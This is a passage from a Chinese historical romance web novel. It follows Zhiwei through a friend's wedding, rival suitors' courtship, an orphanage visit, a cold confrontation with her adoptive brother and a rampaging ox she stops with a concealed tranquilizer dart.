刚下马车,香云便迎了过来,对红叶说了几句什么,红叶对知微道,“你先进去休息会儿,皇后要举办宴会为青州捐款,我须进宫一趟,一会同崔文远说完话,香云便差人送你回府。” 知微乖巧点头,见红叶又上了马车,转身同香云进了醉江月。 午时刚至,崔文远便满头大汗的来了。 待他气喘吁吁的坐定,便见知微抱着膀子靠站在窗前正盯着他。 知微瞪着眼睛做黑脸状,她也不等他气喘匀,凶巴巴开口,“你来说说,你是何时对我念秦姐起的心思?” 崔文远伸了伸脖子,嘴巴比脑子快,“三,三年前。” 真不是他怂,他好歹是侯府嫡子呢,虽然没什么本事吧,大场面也还是见过的。 只是,他虽不知道这位二姑娘做了哪些事情,但他知道一点啊,能叫他姐夫和宋兄惦记的女子,能是好惹的?况且二姑娘同念秦的关系好,他可得实话实说,总不能叫念秦不高兴不是。 知微闭了闭眼睛,她就知道这人蓄谋已久! 知微脸上还是没什么表情,她嗯了一声,又问,“三年时间挺长的,你为何突然求娶?” 崔文远结结巴巴解释,“也不是很突然,我是真心喜欢念秦的,刚好念秦又救我,我便同我娘提了提。” 知微哦了一声,灵光一闪,直接问道,“谁给你出的主意?” 崔文远那汗,刷一下又冒了出来。 不是,也没人告诉他这二姑娘这么聪慧啊! 对不起了宋兄,只能卖了你了! “是,宋兄给我提的醒,二姑娘别生气,宋兄只是叫我创造机会,没说别的,真的。” 好一个此地无银! 知微气到咬牙,好你个宋言澈,哪都有你啊!她就说偏偏就那样巧,是念秦姐救了崔文远,是有个好军师呢! “所以说,你心悦我念秦姐姐这事,宋言澈早就知道?” 知微略微思考一瞬,唇角微微勾起恶趣味道,“你发奋图强改过自新,不会也是因为念秦姐吧?是宋言澈用抱佳人归来鞭策你,为了能叫念秦姐高看你一眼?” 崔文远咳嗽两声,脸红的厉害,有些尴尬,“确实如此。” “我,我从前也是做了不少的混账事,文不成武不就的,念秦又是红叶郡主得力医女,婚姻一事还得经过太后同意……我自惭形秽……” “宋兄说要想娶到心仪的女子,须得考取功名,叫她刮目相看,才有机会抱得美人归……” 听到了自己想知道的,最后又叫这人做了保证,知微叫人上了几个菜叫崔文远享用,又道了声姐夫慢用这才心满意足的离开了。 崔文远被知微这声姐夫给哄的嘿嘿直乐,擦了擦一脑门的汗,又觉得沈二姑娘这人真不错,对念秦情真意切,厨艺好,容貌拔尖,家世又顶尖,他姐夫年纪太大了,配人家确实差一些,宋兄也不行,家世太差,二人都还需继续努力啊。 得了,崔文远轻而易举的就被知微策反了。 知微本也无意为难人家,都准姐夫了,板上钉钉的事情,她就是想见见崔文远的态度。 最后这声姐夫倒确实发自真心的,只要他能对念秦姐全心全意的好,这便足够了。 她从别苑出来便去了趟面馆,简单吃了碗面,又去了另一边的面馆和小吃铺子看了看,见一切正常运转,这才回了府。 只是一回府,她便马不停蹄的开了自己的私库,念秦姐成亲,她得送个独一无二的礼物才行。 于是高氏进来的时候,便见她是一阵的翻箱倒柜,正蹲在地上挑挑拣拣呢。 高氏无奈将人给拉了起来,帮着拍了拍她身上的灰尘道,“找什么呢这是,叫丫鬟们找,你就不能停下歇会儿。” 知微被娘带回了厢房,她软绵绵的趴在桌上道,“娘亲,念秦姐姐马上成亲了,您说我送念秦姐姐什么礼物才好?庄子?铺子?宝石头面?” 高氏没好气的看了她一眼,就这点事,看给她女儿愁的。 “她缺什么你就送她什么,若是什么都不缺,你就送你认为贵重的符合你心意的,你和念秦的关系,自然是怎么送都好。” 知微哦了一声,想着不若明面上送套头面,私底下再给她包个大红包,毕竟自己现在可是有钱人呢。 高氏叹了口气,细心的打量着女儿,又想到大女儿,心下一阵难过,“皇后下了懿旨,明日我同你姐姐一起进宫,你便不去了,那个皇宫啊,吃人不吐骨头,也不知你姐姐同三皇子成了亲,能不能。” 知微忙笑着打断娘亲,“哎呀谢谢娘,我才不要进那劳什子宫呢,那么大,没得累死个人,您同姐姐去就行了,怎得这样突然,您刚回来就被诏进宫了。” 高氏眉头也皱了起来,“是为了给青州捐款的事情,你爹现在是文官之首,娘亲必然是要去的,不必担心,娘亲有数。” 娘俩聊了一会儿,高氏叫知微睡一会,又去了大女儿院子。 此时的沈知蕴正在皱着眉头看手上的信,连救济款都要算计,这个郑皇后,可真是好样的! 沈知蕴将信件扔进了一旁的水盆了,那信纸竟然当时便融了,消失的无影无踪。 她定定的看着那盆水,不断的想着对策,自从她同爹爹说了她得预知梦之后,她便没再做过那梦了。 她不知道以后还会不会做,但是当前她要做的,便是必不能叫梦中爹和兄长惨死的情况出现。 于是,她很快适应了自己三皇子妃的身份,并且同安若瑾达成了合作,那个皇位,他们必然是要拿下的。 那么,首先要对付的,必然是那位狂躁的四皇子了,搞死他不容易,但是叫他本就不好的名声雪上加霜可太简单了。 想栽赃兄长,呵,那便先叫他们狗咬狗好了。 于是,在翌日皇后召集大臣家眷捐了款之后,前往青州进行灾后重建的队伍中除了沈知晖,便多了位四皇子的人。 知微歪在美人塌上睡了一觉。 倒不是自己醒的,是被来找她的翠儿和高雅晴给吵醒的。 她看天色也不早了,便叫人去准备家伙式儿,她要带着大家烧烤。 食材轻易便准备好了,肉类不必多说,有钱什么都能买到,尤其是因为家里人多了,沈知蕴命人备了好些肉类冻在地窖。 如今又正是果蔬丰收的时候。 烧烤的地点便选在了花园一侧,邻着水塘,太阳一下山,小风一吹很是凉爽。 高雅晴不是头一次吃了,自告奋勇要帮忙烤肉,并拉着翠儿和高雅若一起。 双胞胎已经在准备去国子监的事情了,因为有沈鸿的多加关照,两兄弟的求学之路定会非常精彩。 沈大人可是记得这两兄弟因为贪玩害他女儿掉崖的事呢,早就同国子监的好友去了书信,“严加管教”二人。 二人倒还是没心没肺,心想明日就要去国子监报道了,今日自是敞开了玩闹。 至于高淮阳两兄弟,则是一直在外头筹集物资,到现在尚未回来。 沈知晖也尚未下值,沈知蕴外出未归,虽只几个小的,倒也热闹。 翌日高氏同沈知蕴进宫,回府后便马不停蹄的帮着沈知晖收拾东西。 沈知晖在此次前往青州名单之列。 高氏自身体好后还是头一次进宫,捐了不少银钱,郑皇后见这对母女大方,并未说些什么,且沈鸿尚在青州赈灾,她自是不能为难沈鸿家眷。 沈知晖只是去做灾后重建工作,也没什么危险,要说危险,那必是那赈灾银了,不过那银钱有陛下的亲卫护送,高氏是没有一点不放心的,只觉得长子去历练历练极好。 待沈知晖走后三日,沈鸿便也归京了。 进宫复命之后,便带了一群孩子浩浩荡荡的归了府。 众人目瞪口呆的看着这十几个孩子,大的十来岁,小的也就五六岁,有男有女,全都瘦瘦小小的,营养不良的样子。 沈鸿解释道这是他一路捡的,在青州时捡了不少,路上又捡了俩,叫今晚上在府上住一日,明日一早就送到善堂去了。 善堂,是官府设立的救助孤儿的地方,跟后世的孤儿院是一样的道理。 沈鸿有时休沐,会带着沈知晖去给孩子们上课,沈知蕴也是给女孩子上过课的。 众人这才点头,高雅若姐妹听着可怜,又听是多数是老乡,便带着人量了孩子们的尺寸,连夜给十几个孩子做了衣裳,后来也是经常去善堂,高雅晴因此还喜结了良缘,此为后话。 一直到念秦大婚,知微都忙的厉害。 实在是不得不忙。 身边人一个个的都瘦了,这是她能忍的了的事情吗,自是不能忍受! 于是,她又开始泡在厨房里了。 高氏心疼,命人在厨房放了大冰鉴,可这灶火一起,那点冰起不了什么作用。 但是了胜于无,不至于叫人那么受罪。 几天下来,众人胖了,知微却又瘦了一些,在沈父和高氏的强烈制止之下,知微才被禁止进了厨房,她这才作罢,享受了两日衣来伸手饭来张口的日子,念秦成婚的日子便也到了。 念秦大婚,不说是十里红妆吧,也是不少的嫁妆了。 陛下和太后全都给添了妆,那侯府世子夫人听说了,便一下不敢小瞧这位弟媳孤女的身份了。 这夜知微陪着念秦睡的,这丫头絮絮叨叨到半夜,最后自己什么时候睡的都不知道。 念秦看着这个同她相识并不久,但却对她一心一意的姑娘,眼底一片温热。 知微怕念秦身上压箱底的银钱不够,给她塞了两千两的银票,明面上还有一套精致的宝石头面作添妆,连红叶都震惊于这丫头的大手笔,都快将她给比下去了呢。 知微只抱着念秦的胳膊嘿嘿直乐,“红叶姐姐,等您再嫁人,不,等您再娶亲,给我们娶个漂亮姐夫回家来,我给您准备的还多,嘿嘿。” 于是,红叶黑了黑脸,知微的小脸被捏的通红,眼泪都笑出来了,念秦在一旁也笑的不行,只感叹这活宝,什么玩笑都敢开。 可是待几年之后,知微的玩笑话竟然成了真,红叶还真就娶了个漂亮夫君。 彼时的几人都已为人母,知微和念秦一提起这事来,二人便抱着嘴笑作一团,红叶也不生气,待二人笑够了才叨叨几句夫君有多粘人,那时的她们,都已经很幸福,很幸福了。 第96章 天还未亮,念秦便被折腾起来,知微抱着被子迷迷糊糊的看着她被簇拥着穿 天还未亮,念秦便被折腾起来,知微抱着被子迷迷糊糊的看着她被簇拥着穿嫁衣化妆打扮,竟然又睡了过去。 再醒时便是被娘亲给揪着耳朵给叫起来了。 高氏做为全福太太,来给念秦梳头呢。 这全福太太,必是双亲健在,儿女绕膝的,不仅如此,高氏还是被丈夫娇宠了一辈子的,没有人比高氏更合适了。 之前因为高氏精神状态不好,便婉拒了几家做全福人的请求,这次算是为了念秦破例了。 高氏在梳头时,不断的说着吉祥话,给知微听的一愣一愣的。 她娘就是她娘,这小词,娘亲不光背下来了,说的好,头发梳的也极好。 一梳梳到头,富贵不用愁,二梳梳到头,无病又无忧,三梳梳到头,多子又多寿,再梳梳到尾,举案又齐眉。 红叶在一旁同知微小声打趣,“这一下,夫人便是京城各家嫁女抢着邀请的全福太太了。” 知微挺直了胸脯,模样得意极了。 此时的念秦,当真是美。 一身大红喜服,头戴凤冠,脸上的新娘妆并不厚重,大红裙摆上隐隐可见凤凰齐飞,流光溢彩的,十分好看。 虽然众人都在夸赞,但念秦看着众人眼眶还是湿润起来,知微只好打趣道:“姐姐可莫要哭,要是将妆给哭花了,那姐夫看到可得埋怨咱家化妆手艺不好了,那我娘可不得杀到侯府去,打他一顿不可。” 于是知微又被高氏给扭了耳朵,念秦也终于破涕为笑。 终于,吉时已到。 锣鼓喧天,鞭炮起舞。 新郎官笑的见牙不见眼的来迎亲了。 众人倒也不急,外头还有一众人等着要红包呢,都是行伍出身的,想娶咱们家姑娘,可不得小小的难为一下新郎官。 高雅晴翠儿和十三三人负责堵最后一道门,三人倒是没怎么难为崔文远,只是不断的叫崔文远保证会对念秦好,三人很快便给开了门。 主要是崔文远一同来的狐朋狗友也都有数,一出手就是大红包,一连几个红包砸下来,三人便乐不可支的给开了门。 自带上盖头的那一刻,念秦的眼泪唰一下就下来了,她终于要嫁作人妇,爹爹,娘亲,女儿今日出嫁了! 背着念秦上花轿的,是一位知微从未见过的男子,红叶看出了她的疑惑,只笑着道他是陛下的暗卫,算是念秦的兄长,很少露面。 知微点点头,一瞬不瞬的看念秦上了花轿,眼圈也红了,躲在众人身后,啪嗒啪嗒的掉着眼泪。 待送亲的队伍走的好远了,知微擦了擦眼角,才要回去。 却听身后有人突然冒出来一句,“羡慕吗?待你我大婚之日,本侯定也给你这十里红妆。” 知微被猛不丁的吓了一跳,待看清来人,没好气道,“你怎么一点动静也没有!” 顾铭珏只专注的望着她,嘴角上扬,分明是说是你自己没注意。 知微冷哼的一声,羡慕? 她挑眉道,“十里红妆?那倒是不用侯爷给,闭着眼睛想我沈知微嫁谁必也是十里红妆的。” 知微一脸你就说对不对吧的表情,叫顾铭珏一噎,她又继续道,“没办法,我娘有钱,我爹位高权重,我家人给足了我十里红妆的底气呢!怎么样,气不气?” 呵,瞧不起谁呢!姐姐现在可是实打实的贵女! 顾铭珏哑然失笑,确实啊,如今的小姨娘已不是同日而语了,他想娶,还是得使劲手段啊。 生气倒是不至于,只是心口难免会有些堵。 又见到了日思夜想的人,免不了多看几眼,他已经记不清多久没将人拥入怀中了,过往的一切都像梦一般。 知微朝他得意的挑挑眉,转身飘飘然走了。 她不知,顾铭珏就爱她那得意的小表情,男人心痒难耐,恨不得将人掳走。 知微要去找高氏,娘亲等她呢,忙完了她们便要去善堂。 她发现高氏真的是个很善良的人,自她回来后,高氏总是默默的去做些善事,庙堂上不知道捐了多少了,这次沈父带了不少孩子回来,高氏好像是找到了乐趣,三天两头的往善堂跑。 知微也觉得挺好的,便时不时的也跟着一起去。 一来二去的,也跟这些孩子熟悉了,他们总叫她漂亮姐姐,知微也不害臊,每次都应的响亮。 她也不管身后目不转睛的看着自己的男人,只一心要到高氏身边去。 她才不会回头,人啊,千万别回头看,前头的风景美着呢。 不料顾铭珏却大摇大摆的跟着她一起走了过去。 知微挑眉,凶巴巴道,“我去找我娘,你跟着是去干嘛!” 顾铭珏亦挑眉,一本正经回道,“我也找你娘啊,怎么,给长辈打个招呼也不行?” 于是,知微便见顾铭珏同娘亲微微躬身行礼,而后便聊的不亦乐乎,高氏更是对顾铭珏笑容可掬,哪哪都满意。 知微咬牙,不是!几匹马而已,她娘就给这人好脸色了? 红叶在不远处,看到此景也是啧啧两声,“珏哥儿这招不错,也算是另辟蹊径,从,改从岳母那下手了?” 初九没忍住咳嗽两声,有些尴尬回道,“可不是,您不知道,我们侯爷最近可是看了不少追妻秘籍,如今已然是小有所悟了。” 红叶嘴角抽搐,问道,“那他下一步是?” 初九抿嘴,不知道怎么将砸钱这两个字说的委婉一些,半晌组织好语言道,“投其所好,并,投其家人所好!” 她总不能说就是花钱哄人家一家人吧? 于是,在后面的很长一段时间内,顾铭珏时不时的会同外出的高氏偶遇,帮高氏买个单,送些并不贵重的小礼物,和跟被人夺舍了似的。 还会夸赞高氏的眼光,哄的高氏一见他便是眉开眼笑的。 另外,他还作模作样拿了本前朝大儒的孤本同沈鸿偶遇,那本书恰巧被不长眼的小厮撞掉在地,顾铭珏无所谓似的叫人捡起来,大声道一看就是假的,仿的一点也不像。 却被眼尖的沈鸿一把给拦住了,说可以让他要带回去鉴定一下,便知其中真假。 顾铭珏却大手一挥,将书送给他了,说自己是被人骗了,带回去也是扔了。 然后这人在第二日,送上了他库房里落了灰的另一孤本,叫沈鸿不忍推拒,最后还是收了,到底都是孤本,没忍住便夸赞了几句。 但穿到顾铭珏的耳朵里,那可不是在夸孤本,那就是在夸他啊!于是,只给这人夸的又飘了起来。 殊不知,人家沈大人打心眼里就没叫他和知微复合的意思。 顾铭珏这边在大张旗鼓的用金钱攻势,试图拿下沈家人。 那边宋言澈也回京了。 宋言澈回京时已经八月了,沈知晖也是一同回来的。 只一回京,皇帝便给宋言澈升了官,如今,这人已经是正五品的户部郎中了,可是京中未婚男子里头实打实的香饽饽。 这时已经不太热,知微坐在面馆二楼大厅的窗前吹风赏景,只那么一打眼,便看到了刚下马车的宋言澈。 他似有所感,一抬头便看见了她。 他没想到能这么轻易见到她,有些怔愣后便笑了起来。 那笑容,好似夏日里的清风,叫人没来由的感到舒爽。 他人瘦了,也壮实了许多,整个人更成熟了,从前的他是文弱书生,如今却更像是个大人,一举一动,都自带气场。 知微朝他点头算是打过招呼,便转过了身子,不再去看他了。 心里却也是不得不夸赞的,这人,也确实是长了幅好皮囊,始终那幅温润如玉的模样,比京中的这些世家公子确实是不差什么的,也难怪会被不少人惦记。 不多时,这人便上了楼,朝她笑了笑,也不见外,直接坐到了她对面的空坐上。 知微大方的问候,“听说宋大哥又升官了,恭喜啊。” 宋言澈看着她,眸色幽深,面上噙着淡淡的笑容,一瞬不瞬的望着她,嗯了一声,道,“再等等,我便可以正大光明的上门求娶了……” 噗! 娶什么娶! 这上来就这么直白,给知微干不会了。 她口中的茶水差点喷出来,紧着咳了几声。 月痕忍笑帮她拍背,内心一阵狂笑,又叫她磕到了! 宋言澈却笑开了,眼尾微微上挑,心情极好,如沐春风的,他从怀里取出个匣子来,递给知微,道,“看看可还喜欢?” 知微接过,打开后见是个簪子,很简单的梅花簪,梅花是用宝石打磨出来的,红艳艳的开的正盛。 只是瞧着并不是多精细,怕是,面前这人亲手雕刻的。 知微嗯了一声,挑眉故意道,“你这哄女孩子的手段,是崔文远教你的吧?啧啧,你二人可真是,互相取经啊。” 宋言澈只当听不懂知微话里的奚落,一双眼睛只定定的看着她,眼眸中俱是宠溺。 这时候,小二给宋言澈上了碗面,并两个小菜。 知微心说咱俩这层关系还没到能送发簪的地步,刚想要开口拒绝,却忽的想到一件事情,想要将匣子推过去的手猛的一顿。 是了,原主从前的生辰,都是在八月八日这日过的。 明日便是八月初八了。 这个,是生辰礼物吧…… 知微有些迟疑,宋言澈挑起一筷子面,放进嘴里,待咽下去之后便听他道,“从前答应过你,定给你做个独一无二的簪子,如今,也算是兑现了。” 说完他指着面,眼眸中冒着水光道,“猪油汤面,真的很好吃。” 知微鼻尖一酸,还是收回了要推却礼物的手,寻了个借口,便起身回府了。 人虽走了,礼物却是收了,不知道知微明日会不会戴。 一直到知微上了马车,宋言澈才收回了视线,转而低头吃面,唇角微微勾起,更期待明日了。 归家时父亲又差人将她堵了。 知微顿觉不妙,抬腿要跑。 却听沈父已经找了过来,还捂着胸脯咳嗽两声,装作身体不适的模样道,“女儿啊,爹这胸口有些闷闷的,明日不若你再爹爹个忙可好。” 眼看知微只抿着嘴看他,一脸您又想坑我的表情,也不说话,静静的看他爹表演。 沈父便索性也不装了,摸了摸自己那并不长的胡须道,“乖宝儿,明日爹爹有些事情,本来应让你姐姐和兄长去善堂的,但是他们都有事情,所以明日便你替爹爹去吧,给孩子们带些书和吃食,都准备好了,明日车夫直接带你过去。” 沈鸿我不等女儿回话,直接道,“那就这样,爹先回去了。” 沈鸿也不敢看小女儿,怕她发火,急匆匆的逃走了。 知微气的跺了跺脚,这个爹!又在坑她! 她咬着唇思趁片刻,也不知是气的还是恼的,小脸火烧似的,罢了罢了,去就去,跟谁不敢似的! 第97章 翌日用过早膳,收拾妥帖后知微便出了府。应是得了沈父的嘱咐,兄弟 翌日用过早膳,收拾妥帖后知微便出了府。 应是得了沈父的嘱咐,兄弟姐妹们全都安静的待在自己院子里,一个出门的都没有。 眼看管家催促,知微才不情不愿的上了马车。 沈父为了促成小女儿的婚事,当真是煞费苦心。 车夫得了安排,并未问知微去哪,马车径直驶向善堂。 善堂在城中一处偏僻的角落,因为收留的孩子比较多,宅子还算大,之前来时高氏便送了些小鸡仔小鸭仔叫孩子们养了生蛋来吃,今日她看父亲准备的东西,多是些书籍和笔墨纸砚。 知微叫人将采买的肉给厨房送了过去。 厨房的管事是一名中年妇人,见知微来了便放下了手中的活计同知微说话。 知微笑着道:“您看看可有我能帮到您的,不瞒您说,我这做饭的手艺也是不错的,我帮您一起给孩子们做顿饭可好?” 知微今日一身半旧长裙,头上只两支素钗,不施粉黛*,俨然一位清丽佳人。 陈厨娘瞧着知微并不像说笑,她虽不知这位姑娘的具体身份,但瞧着打扮也知定是哪家的贵女。 前头知微同高氏一起来时,大家都是隐瞒了身份的,除了她那个显眼包爹。 但他们从未跟着沈鸿一同来过,旁人是不知他们关系的。 陈厨娘也不敢给知微派什么吃力的活计,只略微思趁后道:“不若,不若姑娘去后院帮着摘些菜来可好,您送来了许多肉,我中午便都炖了给孩子们补补,青菜的话,您看着摘来炒,可行?” 看着厨娘小心翼翼的样子,知微哪里会说不行,她本就不想给人家添麻烦,笑着应好,便带着同样素面朝天的月痕,顺着厨娘手指的方向,往菜地走去。 一阵朗朗的读书声传来,知微好奇的望过去。 正在清扫地面的老妇人笑着对知微道:“今日是沈大人的学生来讲学,孩子们都可喜欢小宋大人了,大人长的也好,人也好,大清早的就来了,每次小宋大人来,都叫孩子们特别欢喜,读书的声也更大呢。” 知微朝老人家行礼,好奇道:“小宋大人,是之前就来过吗?” 老妇人笑意更深,不住点头,“可不是,从小宋大人高中之后,便经常过来,有很长一段时间了。” 知微笑着点头,“老人家您先休息,这些活计叫孩子们下了学做就好。” 却听教室内读书声已停,接着便传来了喧闹声,几个大些的孩子首先跑了出来,见到知微都先是叫了声姐姐好,便争先恐后的接过老妇人手中的扫帚,没抢到活干的则是扶着婆婆休息去了,嘴里还念念叨叨,“婆婆,您怎么又不听话,交给咱们干就好了,您怎么每日都答应,每日都不听呢。” 这些孩子都是干惯了活的,后院的菜地也是他们共同负责的。 知微目送老婆婆离开,转身又看到了围着她的孩子们,有不少认识的便漂亮姐姐的叫着,还有些腼腆的,只睁着亮亮的眼睛好奇的望着她,知微跟孩子们打了招呼,笑着叫月痕去将带来的糖果给孩子们分分。 孩子们欢呼声响起,俱向月痕围了过去,知微笑着看了一会,转身便要去菜地。 只是这一转身,便见宋言澈就那么静静地站在她身后,一瞬不瞬的望着她。 知微撇了撇嘴,她就知道,她爹叫她来这一趟跟这人有关系。 知微朝宋言澈笑道:“我就猜到那位婆婆说的小宋大人是你。” 宋言澈嗯了一声,同她一起默默地往后院的方向走去,突然来了句,“生辰快乐~” 知微略作停顿,笑着嗯了一声,“生辰快乐。” 接着道:“给你的礼物还在车厢里,上好的文房四宝,稍后拿给你可好?” 其实今日是他的生辰,她给他也备了生辰礼,虽然不如他的用心,也是她亲手挑选的不是。 宋言澈望着她,嗯了一声,他的眼底似有情绪在波动,却在看到她坦荡的眼神后偃旗息鼓,渐渐熄灭。 他的胸口有些闷,却又对两人的独处又抑制不住的欢喜。 是的,从前知微的生辰和宋言澈的生辰在同一日。 或者说,知微用了宋言澈的生辰做自己的生辰。 彼时的小知微并不知自己的生辰是哪日,彼时的宋言澈也还有家人,彼时的两人互通心意,相互取暖。 宋言澈的生辰愿望是娶知知,小叶知微的愿望知嫁给宋言澈。 时过境迁,再过生辰,原主已去,已然物是人非了…… 知微垂下眼眸,看着脚下的菜地道:“今日得空,我要去郊外看位故人,还尚未告知他叶刘氏得花柳病的消息呢。” 宋言澈眸色深了又深,安静的注视她道:“我陪你一起去,可好?” 知微点点头,好啊,怎么不好呢。 都是故人呢。 能刺激到养兄便好,他们三个,可是一起长大的。 她想,今日她可真是做了一回知知了,去看她的养兄,陪她的青梅竹马。 宋言澈继续去讲学,知微去摘菜,直到同孩子们一起用过午膳,二人才一同去了京郊的庄子。 宋言澈并不在车厢。 他一向守礼,遂同车夫一同坐在车外,迎着秋风,惬意的很。 知微还打了个盹,约一个时辰后,终于到了庄子。 管事自是认识知微的,躬身道,叶文章还在地里干活,尚未回来。 管事说完便要差人去将人叫回来。 知微却摆摆手,道不用了,她过去瞧瞧。 言罢随便指了个人带路,让管事去忙,又上了马车,悠哉悠哉的去了田间。 那是山脚下的一处荒地。 一路上倒是遇到了不少的人,正是秋收的时候,虽是午后太阳最盛的时候,田间也是不少人在忙碌。 知微下了马车,跟着带路的下人往荒地的方向走着。 都是佃农,却极少人见过知微,只好奇的看了两眼便继续干活了。 那下人带着知微行至荒地,躬身朝知微道:“小姐稍等片刻,小的这便去叫人。” 便听那下人嗷一嗓子叫了声叶文章,埋头苦干的叶文章听到动静转身,有些不明所以的望了过来。 待看清知微的那一刻,他手脚仿佛都被冻住了。 听到催促声,叶文章缓过了神,唉了一声,他当然也看到了同小妹一起的宋言澈,打了打身上的尘土,拖着行动不便的残腿,一瘸一拐的走了过去。 知微将帷帽取下,她眯着眼睛,唇角带着淡淡的笑意,看着他一步,两步,似乎很是艰难的走向自己。 叶文章身上,已经找不到曾经的影子了,从前文弱的书生气已经消失的无影无踪,如今剩下的,是残疾的腿和瘦弱的身体。 他行至知微身前,紧张的看了她一眼,抿了抿干涸的嘴唇,低下了头,叫了声,“小妹,宋兄,你们来了。” 知微嗯了一声,她心情不错:“对啊,我来了,我来看看你,看到你过的一点都不好,我便放心了。” 看叶文章露出错愕的神情,知微又挑了挑眉,她转了个圈,眼睛弯成了月牙,笑的十分开心道,“兄长,我如今过的如此好,你可开心?你看看,我是不是又好看了许多?” 叶文章呆愣的看着她,往日不善言辞柔柔弱弱的小妹,如今已长成了美艳明媚大小姐。 她像是换了个人,看向她的眼神分明是笑着的,眼底却透着刺骨的寒意,叫他从心底感到害怕。 他哆嗦着嘴,看着她的眼神小小心翼翼的,轻轻的嗯了一声,“小妹过的好,兄长很开心。” 知微笑的更加肆意,直笑到眼角泛红,眼眸湿润才啊了一声,捂着嘴笑道,“我是来给兄长说个好消息的,你那个妻子,叶刘氏,如今啊得了花柳病了,听说被妓院给扔出来了,又去做了暗娼,也不知现在还活着没有,还有你说的她那个表哥,听说手指头都没了腿也断了,当乞丐呢,也不知死了没,反正过的挺惨的,嘿嘿,兄长,你开不开心?” 知微渐渐收起来笑容,看着他一字一句道,“如今,只剩了兄长自己还活的好好的呢,兄长,你可会觉得失落?” 叶文章心里是又羞愧又慌乱,他嗫喏着,一声声的对不起从他嘴中传来传来,他想要上前去好好的道歉,却被宋言澈黑着脸一脚踢飞了很远,知微只淡淡的看了地上狼狈起身的他一眼,撇撇嘴道了声无趣便转身走了。 宋言澈全程未发一言,只安静的陪着她,在她转身时,接过花影手中的帷帽给她带上了。 知微朝他笑了笑,挂满水珠的睫毛轻轻颤动,鼻尖也有些红,直叫他看的心口发酸。 知微不自觉的替原主委屈,明明待孝期之后她就可以嫁给心上人了,明明可以相安无事的,明明他们都可以过的很美好! 知微不发一言,身上散发出一股浓浓的悲伤来,宋言澈默不作声的陪着,二人如从前一般,并排的走在乡间的小道上。 知微愣神的时候,却听不远处谁来了句快闪开,只见一头耕牛正在田间横冲直撞,几息便冲至他们身旁。 眼看要撞像他们,宋言澈眼疾手快将知微一把护在怀里,知微回过神来,二人紧贴在一起,她甚至能闻到他身上淡淡的书墨香,那一刻,知微心跳的很快。 二人有惊无险躲过,宋言澈眉头紧皱,死死的将知微护在身后,却见那发了疯的牛却直挺挺的往荒地旁不知何时过来的红衣小女娃冲了过去。 月痕惊呼出声,不断有佃农往这个方向跑来,小女娃离二人并不远,眼看就要被撞飞,只见叶文章拖着自己断了的腿飞身扑了过去挡了一下,却被那耕牛硬生生的撞飞了出去。 小女孩被吓的呆愣住了,一屁股坐在了地上,并不知道逃走,眼看那耕牛转头又撞了过去,知微推开宋言澈,一个飞袖将手腕上的暗器射过去。 宋言澈眸色更深,心口更加酸涩。 眼看要撞上小女娃的疯牛,在瞬间软了腿,不多时便倒在了地上。 小女娃的娘终于跑了过来,将女儿死死的抱在怀里,失声痛哭。 可小女娃好似被吓没了魂,眼睛无神,只呆愣愣的看着她,一点反应也没有。 叶文章被撞的出气多进气少,已经爬不起来了。 那耕牛的主人也找了过来,跪在地上看着牛,哭着嗷嗷哪个杀千刀的杀了她家的牛,又哭喊着这是她家砸锅卖铁买的耕牛,不知谁给使的坏怎么这便发了疯,刚刚还好好的。 知微并未搭理,只淡淡的撇了已经被人扶起来的叶文章一眼,月痕命跟着的下人赶紧将人送回庄子,找个大夫给他看看。 却见叶文章强撑着身子,推开下人扶着他的手,踉跄的扑到知微身前,从怀里掏出了个草编,说了句,生辰快乐,便吐了一大口血直接倒在了地上。 月痕使了个眼色,下人急忙将叶文章抬走。 知微冷冷的看了看地上的草编,心中却已然生起团火。 她对那正扑着牛哭喊的佃农沉声道,“这牛只是中了麻醉,半个时辰便能醒来,你还是将它栓好,好好想想赔偿的事情吧,就算你再嚎哭,该赔偿的银钱也不会少上一分!” 这边管事已经着急忙慌的跑了过来,知微问道:“这一片可是庄子上的地?” 管事已然来不及擦头上的汗,回道,“回小姐的话,周围百亩地,都是您的。” 知微看着小女孩,眼眸若冬月的冰雪,“伤患的开销和这女娃看病的费用,全由牛主人赔偿!给我将着牛和人都带回去!查!赔!” 说完也不等那管家回应转身便走了。 她清吐口气,试图吐出心里的烦闷让自己冷静下来。 身后是牛主人一声一声的冤枉和女娃娘亲的哭喊,知微走的很快,有微风吹过扬起了帷帽,看到的也只是她那张面无表情的脸。 管事赶紧叫人将被吓坏了的孩子抱走,并训斥了她那个只会哭的娘,又命人去请兽医去了。 宋言澈知晓知微心中不快,追上她,小声道,“时辰还早,咱们去山里走走可好?” 知微却一只手猛撩开了帷帽,盯着他看了半晌,扬了扬手腕对他道,“你不好奇?不怕?” 宋言澈却叹了口气,他大胆的握住了她扬起的手腕,直视她道:“我都知道,为何要好奇?为何会怕?” 知微来不及关心被他握住的手腕,皱着眉头看着他道:“你都知道?” 宋言澈却朝一旁月痕示意不用跟上,一把牵住了知微的手,将人带到了不远处无人的大树下。 宋言澈深吸口气,迎着知微不解眼神开口,“我知道,我都知道,你所有的事情我都知道,我并不好奇,我只会恨自己不够强大,我恨我自己来的晚了,恨我自己不能够保护你,我恨。” 知微定定的看着他,听到他的解释,知微却笑了起来,心中的烦闷也消了几分,她打断了他的喋喋不休,看着他清俊的面容轻轻挑了挑眉,问道,“你就,那么喜欢,知知?” 宋言澈的眸色深了深,他没有躲避,他皱着眉头直视着知微的眼睛,坚定且认真道:“是,心悦你,我心悦你,知微……” 第98章 这是一棵从山坡突兀的歪斜过来的的大树,高大挺拔,枝繁叶茂。 这是一棵从山坡突兀的歪斜过来的的大树,高大挺拔,枝繁叶茂。 只见一对男女站于树下。 女子身姿婀娜,一身粉裙随风摇曳,宛若仙子。 男子身姿挺拔,面容清俊,二人对视而立,男子专注的对女子说着什么,眸中似有星星闪烁,专注而深情。 女子唇角微弯,静静的倾听着。 一阵风吹过,头顶传来树叶窸窸窣窣声响,紧接着云层中隐隐有雷声传来,打断了二人的谈话。 知微动了动耳朵,宋言澈的话叫知微听的并不真切。 他说的,是知知吗? 她怎么听着好像是知微? 他心悦知微? 知微皱了皱眉,迅速给否了。 定是她听岔了。 他怎么可能知道她不是知知? 她有原身的记忆,又披着原身的面皮,虽然性情大变,但是谁也不能说她不是她。 她摇了摇头,便捂着嘴笑了起来,只当是风声和雷声叫自己听岔了。 她竟然会以为这人表白的是她自己! 真够好笑的。 她笑着嗯了一声,也没再去计较是知知还是知微,道:“那便多谢宋大人厚爱了。” 很奇怪,她刚才因为疯牛而心生的烦闷在此时消散了不少,笑颜如花的模样竟叫宋言澈又看痴了。 轰隆隆,又传来一阵雷声。 知微对着看痴了她的男人眨了眨眼。 